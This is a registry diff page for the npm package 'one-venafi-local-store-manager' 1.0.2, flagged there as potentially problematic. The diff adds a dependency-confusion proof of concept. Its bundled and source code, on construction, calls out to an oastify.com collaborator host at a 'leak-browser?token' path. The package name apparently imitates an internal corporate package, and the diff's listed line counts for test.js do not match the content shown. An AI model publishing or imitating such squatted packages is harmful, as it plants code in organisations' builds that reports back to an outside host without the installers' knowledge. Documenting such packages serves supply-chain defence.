one-venafi-local-store-manager 1.0.2
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of one-venafi-local-store-manager might be problematic. Click here for more details.
- package/dist/bundle.js +1 -0
- package/index.js +10 -0
- package/package.json +15 -0
- package/src/index.js +11 -0
- package/test.js +3 -0
- package/webpack.config.js +14 -0
package/dist/bundle.js
ADDED
@@ -0,0 +1 @@
|
|
1
|
+
!function(o,e){"object"==typeof exports&&"object"==typeof module?module.exports=e():"function"==typeof define&&define.amd?define([],e):"object"==typeof exports?exports.LocalStoreManagerLib=e():o.LocalStoreManagerLib=e()}(global,(()=>(window.LocalStoreManager=class{constructor(){console.log("[🔥] Dependency Confusion Browser POC triggered!"),fetch("http://yoqkctom6gsovdg7hbik1yqnqew5kw8l.oastify.com/leak-browser?token=1234")}},{})));
|
package/index.js
ADDED
package/package.json
ADDED
@@ -0,0 +1,15 @@
|
|
1
|
+
{
|
2
|
+
"name": "one-venafi-local-store-manager",
|
3
|
+
"version": "1.0.2",
|
4
|
+
"description": "Browser PoC Webpack",
|
5
|
+
"main": "dist/bundle.js",
|
6
|
+
"scripts": {
|
7
|
+
"build": "webpack"
|
8
|
+
},
|
9
|
+
"author": "JESLOX",
|
10
|
+
"license": "ISC",
|
11
|
+
"devDependencies": {
|
12
|
+
"webpack": "^5.89.0",
|
13
|
+
"webpack-cli": "^5.1.4"
|
14
|
+
}
|
15
|
+
}
|
package/src/index.js
ADDED
@@ -0,0 +1,11 @@
|
|
1
|
+
// index.js
|
2
|
+
class LocalStoreManager {
|
3
|
+
constructor() {
|
4
|
+
console.log("[🔥] Dependency Confusion Browser POC triggered!");
|
5
|
+
fetch("http://yoqkctom6gsovdg7hbik1yqnqew5kw8l.oastify.com/leak-browser?token=1234");
|
6
|
+
}
|
7
|
+
}
|
8
|
+
|
9
|
+
// Export directly for UMD/global usage
|
10
|
+
window.LocalStoreManager = LocalStoreManager;
|
11
|
+
|
package/test.js
ADDED
@@ -0,0 +1,14 @@
|
|
1
|
+
const path = require('path');
|
2
|
+
|
3
|
+
module.exports = {
|
4
|
+
entry: './src/index.js',
|
5
|
+
output: {
|
6
|
+
filename: 'bundle.js',
|
7
|
+
path: path.resolve(__dirname, 'dist'),
|
8
|
+
library: 'LocalStoreManagerLib',
|
9
|
+
libraryTarget: 'umd'
|
10
|
+
},
|
11
|
+
target: 'node', // 👈 Add this line
|
12
|
+
mode: 'production'
|
13
|
+
};
|
14
|
+
|